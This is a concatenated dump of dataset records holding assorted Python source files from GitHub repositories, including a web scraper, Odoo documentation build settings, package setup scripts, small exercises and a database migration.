\"0.0.0.0\"\n self.SSLCoTServicePort = config.SSLCoTServicePort\n self.SSLCoTServiceStatus = \"\"","repo_name":"FreeTAKTeam/FreeTakServer","sub_path":"FreeTAKServer/model/ServiceObjects/SSLCoTServiceVariables.py","file_name":"SSLCoTServiceVariables.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":483,"dataset":"github-code","pt":"24"} +{"seq_id":"3830326489","text":"import re\nimport time\n\n# from selenium import webdriver\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom lmf.dbv2 import db_write\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import NoSuchElementException,StaleElementReferenceException\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\ndriver=webdriver.Chrome()\ndriver.get('http://www.gzzbtbzx.com/more.asp?id=12&city=1&page=2')\n\nlocator=(By.XPATH,'//td[@bgcolor=\"#DFDFDF\"]/table[3]/tbody/tr/td/a')\nWebDriverWait(driver,10).until(EC.presence_of_element_located(locator))\n# time.sleep(1)\n\nval=driver.find_element_by_xpath('//td[@bgcolor=\"#DFDFDF\"]/table[3]/tbody/tr/td/a').text\nprint(val)\ndriver.get('http://www.gzzbtbzx.com/more.asp?id=12&city=1&page=1')\n\nlocator = (By.XPATH, '//td[@bgcolor=\"#DFDFDF\"]/table[3]/tbody/tr/td/a[not(contains(string(),\"%s\"))]'%val)\nWebDriverWait(driver, 10).until(EC.presence_of_element_located(locator))\n\nmain_url=driver.current_url\nprint(main_url)\nmain_url=main_url.rsplit('/',maxsplit=1)[0]\nprint(main_url)\nhtml=driver.page_source\nsoup=BeautifulSoup(html,'lxml')\ncontent=soup.find('td',attrs={'bgcolor':'#DFDFDF'})\ntables=content.find_all('table')\nfor i in range(2,len(tables)-1):\n table=tables[i]\n tr=table.find('tr')\n tds=tr.find_all('td')\n href=tds[0].a['href']\n if 'http' in href:\n href=href\n else:\n href=main_url+'/'+href\n name=tds[0].a.get_text()\n ggstart_time=tds[1].get_text()\n click_num=tds[2].get_text()\n\n tmp=[href,name,ggstart_time,click_num]\n#\n print(tmp)\n\n\ndriver.quit()\n\n\n","repo_name":"rangsutu88/wuhan","sub_path":"work/zhu/webscrap/jiangxi/赣州/tttt.py","file_name":"tttt.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"39853692826","text":"\ndef main():\n repeticao = 3\n i = 0\n\n while i < repeticao:\n number = int(input(\"type a number, please: \"))\n i = i + 1\n\n print(\"numbers: %d \" % number)\n\n number1 = int(input(\"type number 1, please: \"))\n number2 = int(input(\"type number 2, please: \"))\n number3 = int(input(\"type number 3, please: \"))\n\n if number1 < number3:\n number1, number3 = number3, number1\n\n if number1 < number2:\n number1, number2 = number2, number1\n\n if number2 < number3:\n number2, number3 = number3, number2\n\n print(f'a ordem decrescente é {number1}, {number2} e {number3}')\n\n\nmain()\n","repo_name":"aguirreLCD/coursera_1","sub_path":"week3/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"12931145071","text":"\"\"\"\ncalculate the number of tokens in a dataset\n\"\"\"\n\nimport numpy as np\n\ntrain_file = \"tokenizer/train.bin\"\nval_file = \"tokenizer/val.bin\"\n\non_train = len(np.fromfile(train_file, dtype=np.int16))\non_val = len(np.fromfile(val_file, dtype=np.int16))\n\nprint(\"train size: {} tokens\".format(on_train))\nprint(\"val size: {} tokens\".format(on_val))\n\nprint(\"total size: {}kk tokens\".format((on_train+on_val)//1_000_000))\n\n\n","repo_name":"byschii/tgp","sub_path":"tokenizer/dataset_size_in_token.py","file_name":"dataset_size_in_token.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"43888929372","text":"import os\nimport re\nimport shutil\nimport sys\nfrom pathlib import Path\n\nimport docutils\nimport sphinx\nfrom pygments.lexers import JsonLexer, XmlLexer\nfrom sphinx.ext import graphviz\nfrom sphinx.util import logging\n\n_logger = logging.getLogger(__name__)\n\n\n#=== General configuration ===#\n\n# General information about the project.\nproject = 'Odoo'\ncopyright = 'Odoo S.A.'\n\n# `version` is the version info for the project being documented, acts as replacement for |version|,\n# also used in various other places throughout the built documents.\n# `release` is the full version, including alpha/beta/rc tags. Acts as replacement for |release|.\nversion = release = '16.0'\n\n# `current_branch` is the technical name of the current branch.\n# E.g., saas-15.4 -> saas-15.4; 12.0 -> 12.0, master -> master (*).\ncurrent_branch = version\n# `current_version` is the Odoo version linked to the current branch.\n# E.g., saas-15.4 -> 15.4; 12.0 -> 12; master -> master (*).\ncurrent_version = current_branch.replace('saas-', '').replace('.0', '')\n# `current_major_branch` is the technical name of the major branch before the current branch.\n# E.g., saas-15.4 -> 15.0; 12.0 -> 12.0; master -> master (*).\ncurrent_major_branch = re.sub(r'\\.\\d', '.0', current_branch.replace('saas-', ''))\n# `current_major_version` is the Odoo version linked to the current major branch.\n# E.g., saas-15.4 -> 15; 12.0 -> 12; master -> master (*).\ncurrent_major_version = current_major_branch.replace('.0', '')\n# (*): We don't care for master.\n\n# The minimal Sphinx version required to build the documentation.\nneeds_sphinx = '3.0.0'\n\n# The default language in which the documentation is written. It is set to `None` because Sphinx\n# considers that no language means 'en'.\nlanguage = None\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# List of patterns, relative to source directory, that match files and directories to ignore when\n# looking for source files.\nexclude_patterns = [\n 'locale',\n 'README.*',\n 'bin', 'include', 'lib',\n 'odoo',\n]\n\n# The RST text role to use when the role is not specified. E.g.: `example`.\n# We use 'literal' as default role for markdown compatibility: `foo` behaves like ``foo``.\n# See https://docutils.sourceforge.io/docs/ref/rst/roles.html#standard-roles for other roles.\ndefault_role = 'literal'\n\n\n# Whether scaled down images should be be wrapped in a `` tag linking to the image file or not.\nhtml_scaled_image_link = False\n\n# If true, '()' will be appended to :func: etc. cross-reference text\nadd_function_parentheses = True\n\n#=== Extensions configuration ===#\n\nsource_read_replace_vals = {\n 'BRANCH': current_branch,\n 'CURRENT_BRANCH': current_branch,\n 'CURRENT_VERSION': current_version,\n 'CURRENT_MAJOR_BRANCH': current_major_branch,\n 'CURRENT_MAJOR_VERSION': current_major_version,\n 'GITHUB_PATH': f'https://github.com/odoo/odoo/blob/{version}',\n 'GITHUB_ENT_PATH': f'https://github.com/odoo/enterprise/blob/{version}',\n 'OWL_PATH': f'https://github.com/odoo/owl/blob/master',\n}\n\n# Add extensions directory to PYTHONPATH\nextension_dir = Path('extensions')\nsys.path.insert(0, str(extension_dir.absolute()))\n\n# Search for the directory of odoo sources to know whether autodoc should be used on the dev doc\nodoo_sources_candidate_dirs = (Path('odoo'), Path('../odoo'))\nodoo_sources_dirs = [\n d for d in odoo_sources_candidate_dirs if d.is_dir() and (d / 'odoo-bin').exists()\n]\nodoo_dir_in_path = False\n\nif not odoo_sources_dirs:\n _logger.warning(\n \"Could not find Odoo sources directory in neither of the following folders:\\n\"\n \"%(dir_list)s\\n\"\n \"The 'Developer' documentation will be built but autodoc directives will be skipped.\\n\"\n \"In order to fully build the 'Developer' documentation, clone the repository with \"\n \"`git clone https://github.com/odoo/odoo` or create a symbolic link.\",\n {'dir_list': '\\n'.join([f'\\t- {d.resolve()}' for d in odoo_sources_candidate_dirs])},\n )\nelse:\n if (3, 6) < sys.version_info < (3, 7):\n # Running odoo needs python 3.7 min but monkey patch version_info to be compatible with 3.6.\n sys.version_info = (3, 7, 0)\n odoo_dir = odoo_sources_dirs[0].resolve()\n source_read_replace_vals['ODOO_RELPATH'] = '/../' + str(odoo_sources_dirs[0])\n sys.path.insert(0, str(odoo_dir))\n import odoo.addons\n odoo.addons.__path__.append(str(odoo_dir) + '/addons')\n from odoo import release as odoo_release # Don't collide with Sphinx's 'release' config option\n odoo_version = '.'.join(str(s) for s in odoo_release.version_info[:2]).replace('~', '-') # Change saas~XX.Y to saas-XX.Y\n odoo_version = 'master' if 'alpha' in odoo_release.version else odoo_version\n if release != odoo_version:\n _logger.warning(\n \"Found Odoo sources in %(directory)s but with version '%(odoo_version)s' incompatible \"\n \"with documentation version '%(doc_version)s'.\\n\"\n \"The 'Developer' documentation will be built but autodoc directives will be skipped.\\n\"\n \"In order to fully build the 'Developer' documentation, checkout the matching branch\"\n \" with `cd odoo && git checkout %(doc_version)s`.\",\n {'directory': odoo_dir, 'odoo_version': odoo_version, 'doc_version': version},\n )\n else:\n _logger.info(\n \"Found Odoo sources in %(directory)s matching documentation version '%(version)s'.\",\n {'directory': odoo_dir, 'version': release},\n )\n odoo_dir_in_path = True\n\n# Mapping between odoo models related to master data and the declaration of the\n# data. This is used to point users to available xml_ids when giving values for\n# a field with the autodoc_field extension.\nmodel_references = {\n 'account.account.type': 'addons/account/data/data_account_type.xml',\n 'res.country': 'odoo/addons/base/data/res_country_data.xml',\n 'res.currency': 'odoo/addons/base/data/res_currency_data.xml',\n}\n\n# The Sphinx extensions to use, as module names.\n# They can be extensions coming with Sphinx (named 'sphinx.ext.*') or custom ones.\nextensions = [\n # Link sources in other projects (used to build the reference doc)\n 'sphinx.ext.intersphinx',\n\n # Support the specialized to-do directives\n 'sphinx.ext.todo',\n\n # Custom Odoo theme\n 'odoo_theme',\n\n # Youtube and Vimeo videos integration (youtube, vimeo directives)\n 'embedded_video',\n\n 'custom_admonitions',\n\n # Redirection generator\n 'redirects',\n\n # Content tabs\n 'sphinx_tabs.tabs',\n\n # Cards\n 'cards',\n\n # Spoilers\n 'spoilers',\n\n # Strange html domain logic used in memento pages\n 'html_domain',\n]\n\nif odoo_dir_in_path:\n # GitHub links generation\n extensions += [\n 'sphinx.ext.linkcode',\n 'github_link',\n # Parse Python docstrings (autodoc, automodule, autoattribute directives)\n 'sphinx.ext.autodoc',\n 'autodoc_field',\n ]\nelse:\n extensions += [\n 'autodoc_placeholder',\n ]\nextensions.append('sphinx.ext.graphviz' if shutil.which('dot') else 'graphviz_placeholder')\n\ntodo_include_todos = False\n\nintersphinx_mapping = {\n 'pillow': ('https://pillow.readthedocs.io/en/stable/', None),\n 'python': ('https://docs.python.org/3/', None),\n 'werkzeug': ('https://werkzeug.palletsprojects.com/en/2.3.x/', None),\n}\n\ngithub_user = 'odoo'\ngithub_project = 'documentation'\n\nlocale_dirs = ['../locale/']\ntemplates_path = ['../extensions']\n\n# custom docname_to_domain to divide the translations of applications in subdirectories\nsphinx.transforms.i18n.docname_to_domain = (\n sphinx.util.i18n.docname_to_domain\n) = lambda docname, compact: docname.split('/')[1 if docname.startswith('applications/') else 0]\n\n# The version names that should be shown in the version switcher, if the config option `versions`\n# is populated. If a version is passed to `versions` but is not listed here, it will not be shown.\nversions_names = {\n 'master': \"Master\",\n 'saas-16.4': \"Odoo Online\",\n 'saas-16.3': \"Odoo Online\",\n 'saas-16.2': \"Odoo Online\",\n 'saas-16.1': \"Odoo Online\",\n '16.0': \"Odoo 16\",\n 'saas-15.2': \"Odoo Online\",\n '15.0': \"Odoo 15\",\n '14.0': \"Odoo 14\",\n '13.0': \"Odoo 13\",\n}\n\n# The language names that should be shown in the language switcher, if the config option `languages`\n# is populated. If a language is passed to `languages` but is not listed here, it will not be shown.\nlanguages_names = {\n 'de': 'DE',\n 'en': 'EN',\n 'es': 'ES',\n 'fr': 'FR',\n 'it': 'IT',\n 'nl': 'NL',\n 'pt_BR': 'PT',\n 'ro': 'RO',\n 'uk': 'UA',\n 'zh_CN': 'ZH (CN)',\n 'zh_TW': 'ZH (TW)'\n}\n\n# The directory in which files holding redirect rules used by the 'redirects' extension are listed.\nredirects_dir = 'redirects/'\n\nsphinx_tabs_disable_tab_closing = True\nsphinx_tabs_disable_css_loading = True\n\n#=== Options for HTML output ===#\n\nhtml_theme = 'odoo_theme'\n\n# The name of the Pygments (syntax highlighting) style to use.\n# See extensions/odoo_theme/pygments_override.py\npygments_style = 'odoo'\n\n# The paths that contain custom themes, relative to this directory.\nhtml_theme_path = ['extensions']\n\n# The name of an image file (within the static path) to use as favicon of the docs.\n# This file should be a Windows icon file (.ico) being 16x16 or 32x32 pixels large.\nhtml_favicon = os.path.join(html_theme_path[0], html_theme, 'static', 'img', 'favicon.ico')\n\n# The paths that contain custom static files, relative to this directory.\n# They are copied after the builtin static files, so a file named \"default.css\" will overwrite the\n# builtin \"default.css\".\nhtml_static_path = ['static']\nhtml_permalinks = True\n\n# Additional JS & CSS files that can be imported with the 'custom-js' and 'custom-css' metadata.\n# Lists are empty because the files are specified in extensions/themes.\nhtml_js_files = []\nhtml_css_files = []\n\n# PHP lexer option to not require canonical = /documentation/14.0/sale.html\n - /documentation/11.0/fr/website.html -> canonical = /documentation/14.0/fr/website.html\n \"\"\"\n # If the canonical version is not set, assume that the project has a single version\n _canonical_version = app.config.canonical_version or app.config.version\n _canonical_lang = 'en' # Always 'en'. Don't take the value of the config option.\n context['canonical'] = _build_url(_version=_canonical_version, _lang=_canonical_lang)\n\n def _versionize():\n \"\"\" Add the pairs of (version, url) for the current document in the rendering context.\n\n The entry 'version' is added by Sphinx in the rendering context.\n \"\"\"\n context['version_display_name'] = versions_names[version]\n\n # If the list of versions is not set, assume the project has no alternate version\n _provided_versions = app.config.versions and app.config.versions.split(',') or []\n\n # Map alternate versions to their display names and URLs.\n context['alternate_versions'] = []\n for _alternate_version, _display_name in versions_names.items():\n if _alternate_version in _provided_versions and _alternate_version != version:\n context['alternate_versions'].append(\n (_display_name, _build_url(_alternate_version))\n )\n\n def _localize():\n \"\"\" Add the pairs of (lang, code, url) for the current document in the rendering context.\n\n E.g.: ('French', 'fr', 'https://.../fr_BE/...')\n\n The entry 'language' is added by Sphinx in the rendering context.\n \"\"\"\n _current_lang = app.config.language or 'en'\n # Replace the context value by its upper-cased value (\"FR\" instead of \"fr\")\n context['language'] = languages_names.get(_current_lang)\n context['language_code'] = _current_lang\n\n # If the list of languages is not set, assume that the project has no alternate language\n _provided_languages = app.config.languages and app.config.languages.split(',') or []\n\n # Map alternate languages to their display names and URLs.\n context['alternate_languages'] = []\n for _alternate_lang, _display_name in languages_names.items():\n if _alternate_lang in _provided_languages and _alternate_lang != _current_lang:\n context['alternate_languages'].append(\n (\n _display_name,\n _alternate_lang.split('_')[0] if _alternate_lang != 'en' else 'x-default',\n _build_url(_lang=_alternate_lang),\n )\n )\n\n # Dynamic generation of localized legal doc links\n context['legal_translations'] = legal_translations\n\n\n def _build_url(_version=None, _lang=None):\n if app.config.is_remote_build:\n # Project root like https://www.odoo.com/documentation\n _root = app.config.project_root\n else:\n # Project root like .../documentation/_build/html/14.0/fr\n _root = re.sub(rf'(/{app.config.version})?(/{app.config.language})?$', '', app.outdir)\n # If the canonical version is not set, assume that the project has a single version\n _canonical_version = app.config.canonical_version or app.config.version\n _version = _version or app.config.version\n _lang = _lang or app.config.language or 'en'\n _canonical_page = f'{pagename}.html'\n if app.config.is_remote_build:\n _canonical_page = _canonical_page.replace('index.html', '')\n return f'{_root}' \\\n f'{f\"/{_version}\" if app.config.versions else \"\"}' \\\n f'{f\"/{_lang}\" if _lang != \"en\" else \"\"}' \\\n f'/{_canonical_page}'\n\n _canonicalize()\n _versionize()\n _localize()\n","repo_name":"odoo/documentation","sub_path":"conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":19594,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"24"} +{"seq_id":"16687065641","text":"#!/usr/bin/env python3\n# coding: utf-8\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n\n\nimport os\nimport sys\nimport platform\nimport shutil\n\nfrom srttotxt.scripts.srttotxt import VERSION\n\n# finding os platform\nos_type = platform.system()\n\nif os_type == 'Linux' or os_type == 'FreeBSD' or os_type == 'OpenBSD':\n from setuptools import setup\n setuptools_available = True\n print(os_type + \" detected!\")\nelse:\n print('This script is only work for GNU/Linux or BSD!')\n sys.exit(1)\n\n# Checking dependencies!\nnot_installed = ''\n\n# PySide2\ntry:\n import PySide2\n print('PySide2 is found')\nexcept:\n print('Error : PySide2 is not installed!')\n not_installed = not_installed + 'PySide2, '\n\n# youtube_dl\ntry:\n import youtube_dl\n print('youtube-dl is found')\nexcept:\n print('Warning: youtube-dl is not installed!')\n not_installed = not_installed + 'youtube-dl, '\n\n# show warning , if dependencies not installed!\nif not_installed != '':\n print('########################')\n print('####### WARNING ########')\n print('########################')\n print('Some dependencies are not installed. It causes some problems for SRTtoTXT! : \\n')\n print(not_installed + '\\n\\n')\n answer = input('Do you want to continue?(y/n)')\n if answer not in ['y', 'Y', 'yes']:\n sys.exit(1)\n\nif sys.argv[1] == \"test\":\n print('We have not unit test :)')\n sys.exit('0')\n\nDESCRIPTION = 'Converter from SRT to TXT format'\n\n# finding current directory\ncwd = os.path.abspath(__file__)\nsetup_dir = os.path.dirname(cwd)\n\n# clearing __pycache__\nsrc_pycache = os.path.join(setup_dir, 'srttotxt', '__pycache__')\nui_pycache = os.path.join(setup_dir, 'srttotxt', 'ui', '__pycache__')\nscripts_pycache = os.path.join(setup_dir, 'srttotxt', 'scripts', '__pycache__')\n\nfor folder in [src_pycache, ui_pycache, scripts_pycache]:\n if os.path.isdir(folder):\n shutil.rmtree(folder)\n print(f'{str(folder)} is removed!')\n\nsetup(\n name='SRTtoTXT',\n version=VERSION,\n license='GPL3',\n description=DESCRIPTION,\n long_description=DESCRIPTION,\n include_package_data=True,\n url='https://github.com/DoctorChe/srttotxt',\n author='Doctor_Che',\n author_email='duncan.reg@yandex.ru',\n maintainer='Doctor_Che',\n maintainer_email='duncan.reg@yandex.ru',\n packages=(\n 'srttotxt',\n 'srttotxt.ui',\n 'srttotxt.scripts',\n ),\n entry_points={\n 'console_scripts': [\n 'srttotxtgui = srttotxt.__main__',\n 'srttotxt = srttotxt.scripts.__main__'\n ]\n }\n)\n","repo_name":"DoctorChe/srttotxt","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"24"} +{"seq_id":"12677376028","text":"# Test writing my own animation\nfrom bibliopixel.led import*\nfrom bibliopixel.drivers.APA102 import*\nimport bibliopixel.colors as colors\nfrom animation import*\n\n#### Setup #####\n# Global Vars\nNUM = 8*8\n\n#create driver for a 8*8 grid, use the size of your display\ndriver = DriverAPA102(NUM, c_order = ChannelOrder.BGR) # 64 LEDs, 2 MHz speed using SPI, BRG order\nled = LEDMatrix(driver,rotation = 2,vert_flip = True) # Correct Orientation\n\nclass MatrixTest(BaseMatrixAnim):\n\tdef __init__(self, led):\n\t\tsuper(MatrixTest, self).__init__(led)\n\t\tself._colors = [colors.Red, colors.Orange, colors.Yellow, colors.Green, colors.Blue, colors.Indigo]\n\t\t\n\tdef step(self, amt = 1):\n\t\tfor i in range(self._led.numLEDs):\n\t\t\tself._led.drawRect(-1, -1, i+1, i+1, self._colors[(self._step + i) % len(self._colors)])\n\t\tself._step += amt\n","repo_name":"sethshill/final","sub_path":"bibliopixel/sampleAnim.py","file_name":"sampleAnim.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"43393735513","text":"# https://leetcode.com/problems/first-bad-version/\n\n\n\n# T.C => \n# S.C => \n\n\nfrom typing import *\n\n\n# The isBadVersion API is already defined for you.\n# def isBadVersion(version: int) -> bool:\n\n# The isBadVersion API is already defined for you.\n# def isBadVersion(version: int) -> bool:\n\nclass Solution:\n def firstBadVersion(self, n: int) -> int:\n left, right = 1, n\n \n while(left < right):\n mid = left + (right-left)//2\n \n if not isBadVersion(mid):\n left = mid + 1\n\nif __name__ == '__main__':\n obj = Solution()\n ans = obj.firstBadVersion()\n print(ans)","repo_name":"Dhanush-krish/dsa-python","sub_path":"searching/binary_search/278_First_Bad_Version-leetcode.py","file_name":"278_First_Bad_Version-leetcode.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"72788442942","text":"\"\"\"empty message\n\nRevision ID: 926656f74f8a\nRevises: 85b4fbc727b3\nCreate Date: 2021-04-18 00:17:03.219224\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '926656f74f8a'\ndown_revision = '85b4fbc727b3'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('favorito', 'person_id',\n existing_type=mysql.INTEGER(),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('favorito', 'person_id',\n existing_type=mysql.INTEGER(),\n nullable=True)\n # ### end Alembic commands ###\n","repo_name":"jaimecerdas/D25-BackEndNew","sub_path":"migrations/versions/926656f74f8a_.py","file_name":"926656f74f8a_.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"41784292194","text":"import numpy as np\nimport numpy.random as rnd\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport matplotlib.lines as mlines\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d.art3d import Line3DCollection\nfrom matplotlib.collections import LineCollection\nimport math\nimport sys\nimport pdb\n\n#################################################################\n#### Explore tree constructed using make_tree.py\n#### author: Nilin\n#################################################################\n\n[V,N,MESH]=np.load(\"data/400.npy\",allow_pickle=True)\nn=len(V)\nM=len(MESH[0])//2\n\ndef halftree(i0,j0):\n B={j0}\n S={j0}\n while(len(S)>0):\n S_new=set([])\n for i in S:\n S_new=set.difference(set.union(S_new,N[i]),set.union(B,{i0}))\n S=S_new\n B=set.union(B,S)\n return B \n\ndef branch_verts(branch):\n (_,(S,j))=branch\n I=set(range(n))\n for i in S:\n I=set.intersection(I,halftree(i,j))\n return I\n# \ndef section_verts(section):\n (_,(a,b))=section\n thepath=path_verts(a,b)\n if len(thepath)<2:\n return set([]),thepath\n h1=halftree(a,thepath[1]);h2=halftree(b,thepath[-2])\n return set.intersection(h1,h2)\n#\n#\ndef path_verts(a,b):\n dist=[-1]*n\n S=[b]\n dist[b]=0\n t=1\n while(dist[a]==-1):\n S_new=set([])\n for i in S:\n for j in N[i]:\n if dist[j]==-1:\n dist[j]=t\n S_new.add(j)\n S=S_new\n t=t+1\n i=a\n totaldist=int(dist[a])\n thepath=[a]\n for t in range(totaldist):\n N_list=list(N[i])\n am=[dist[j] for j in N_list].index(totaldist-t-1) \n i=N_list[am]\n thepath=thepath+[i]\n return thepath\n#\ndef trisect_branch(branch):\n (_,(S,i))=branch\n S0=S\n i0=i\n VOL=len(branch_verts(branch))\n vlist=[i]\n branchvol=1000000000\n while(2*branchvol>VOL):\n cld=[j for j in N[i] if (j not in S)]\n if len(cld)==0:\n break\n cldvols=[len(halftree(i,j)) for j in cld]\n q=np.argmax(cldvols)\n S={i}\n i=cld[q]\n branchvol=cldvols[q]\n vlist=vlist+[i]\n if(len(vlist)==1):\n return [('point',i0)]\n return compress([('branch',(set.union(S0,{vlist[1]}),i0)),('section',(i0,vlist[-1])),('branch',({vlist[-2]},vlist[-1]))])\n\n#\ndef trisect_section(section):\n _,(a,b)=section\n path=path_verts(a,b)\n if len(path)==2:\n return [('edge',(a,b))]\n l=len(path)\n weights=[len(branch_verts(('branch',({path[i-1],path[i+1]},path[i])))) for i in range(1,l-1)]\n WEIGHT=np.cumsum([0]+weights+[0])\n m=min([i for i,W in enumerate(WEIGHT) if W>WEIGHT[-1]/2])\n return compress([('section',(a,path[m])),('branch',({path[m-1],path[m+1]},path[m])),('section',(path[m],b))])\n#\ndef compress(l):\n for i,(style,data) in enumerate(l):\n if style=='section':\n (a,b)=data\n if(a in N[b]):\n l[i]=('edge',data)\n if style=='branch' and data[0]==N[data[1]]:\n l[i]=('point',data[1])\n return l\n\n\ndef refine(subtree):\n (style,data)=subtree\n if style=='branch':\n return trisect_branch(subtree)\n elif style=='section':\n l=trisect_section(subtree)\n for i,(style,data) in enumerate(l):\n if style=='branch':\n lb=trisect_branch((style,data))\n del l[i]\n l=l+lb\n return l\n return [subtree]\n\n\ndef makeMT(L):\n P0=[('branch',(set([]),0))]\n MV=[P0]+[[]]*(L-1)\n # ME[l][i] is the position of the first child of i.\n ME=[[]]*(L-1)\n for l in range(1,L):\n for ST in MV[l-1]:\n P_ST=refine(ST)\n MV[l]=MV[l]+P_ST\n ME[l-1]=ME[l-1]+[range(len(MV[l])-len(P_ST),len(MV[l]))]\n return (MV,ME)\n\n\ndef rich(subtree):\n global N\n (style,data)=subtree\n richdata='null'\n if style=='section':\n [verts,mdata]=[section_verts(subtree),path_verts(data[0],data[1])]\n elif style=='branch':\n [verts,mdata]=[branch_verts(subtree),[data[1]]]\n elif style=='edge':\n [verts,mdata]=[{data[0],data[1]},[data[0],data[1]]]\n elif style=='point':\n [verts,mdata]=[{data},[data]]\n edges=[(i,j) for i in verts for j in N[i] if(j in verts and i 0:\n MonthlyPayment = (cost - DownPayment) * .05 # constant payment, doesn't change until the last month\n InterestRate = StartingBalance * .12 / 12 # determined by using current balance and interest rate\n if(StartingBalance < MonthlyPayment):\n MonthlyPayment = StartingBalance\n InterestRate = 0 # if the balance is less than the monthly payment, there is no interest to pay\n Principal = MonthlyPayment - InterestRate\n endingBalance = StartingBalance - Principal\n print(month, \"\\t\\t\", \"%.2f\" % StartingBalance, \"\\t\\t\" , \"%.2f\" % InterestRate, \"\\t\\t\" , \"%.2f\" % Principal, \"\\t\\t\" , \"%.2f\" % MonthlyPayment, \"\\t\\t\", \"%.2f\" % endingBalance)\n StartingBalance = endingBalance # set the starting balance to the ending balance\n month += 1\n \ninterest(cost)\n","repo_name":"mkongable/LeetCode","sub_path":"Dec2022/haydenHelp3.py","file_name":"haydenHelp3.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"13830952941","text":"\"\"\"\nFile: brackets.py\nChecks expressions for matching brackets\n\"\"\"\n\nfrom linkedstack import LinkedStack \n\ndef bracketsBalance(exp):\n\t\"\"\"exp is a string that represents the expression\"\"\"\n\tstk = LinkedStack()\n\tfor ch in exp:\n\t\tif ch in ['[','{','(']:\n\t\t\tstk.push(ch)\n\t\t\tprint(\"pushes in\", ch)\n\t\telif ch in [']',')','}']:\n\t\t\tif stk.isEmpty():\n\t\t\t\tprint(\"Stops at isEmpty\")\n\t\t\t\treturn False\n\t\t\tchFromStack = stk.pop()\n\t\t\tprint(\"pops out\", chFromStack)\n\t\t\t# Brackets must be of same type and match up\n\t\t\tif (ch == ']' and chFromStack != '[')\\\n\t\t\tor (ch == '}' and chFromStack != '{')\\\n\t\t\tor (ch == ')' and chFromStack != '('):\n\t\t\t\tprint(\"Stops at test\")\n\t\t\t\treturn False\n\treturn stk.isEmpty()\n\ndef main():\n\texp = input(\"Enter a bracketd expression: \")\n\tif bracketsBalance(exp):\n\t\tprint(\"OK\")\n\telse:\n\t\tprint(\"Not OK\")\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"teenitiny/py-exercise","sub_path":"algorithm/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"15846524128","text":"\"\"\"\nSetup for rubber.\n\"\"\"\nimport sys\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\nexec(open('rubber/version.py').read())\n\ninstall_requires = [\n 'elasticsearch',\n 'elasticsearch-dsl',\n 'celery',\n 'six',\n 'tqdm',\n]\nif sys.version_info.major == 2:\n install_requires.append('futures')\n\nsetup(\n name='django-rubber',\n version=__version__, # noqa\n keywords='django, elasticsearch',\n author='Laurent Guilbert',\n author_email='laurent@guilbert.me',\n url='https://github.com/liberation/django-rubber',\n description=\"No-frills Elasticsearch's wrapper for your Django project.\",\n license='MIT License',\n classifiers=(\n 'Framework :: Django',\n 'Environment :: Web Environment',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ),\n zip_safe=False,\n include_package_data=True,\n packages=find_packages(),\n install_requires=install_requires,\n)\n","repo_name":"liberation/django-rubber","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"24"} +{"seq_id":"41432445579","text":"from datetime import datetime\nfrom decimal import Decimal\nimport gc \nimport pandas as pd\nfrom nautilus_trader.backtest.data.providers import TestDataProvider\nfrom nautilus_trader.backtest.data.providers import TestInstrumentProvider\nfrom nautilus_trader.backtest.data.wranglers import QuoteTickDataWrangler\nfrom nautilus_trader.backtest.engine import BacktestEngine\nfrom 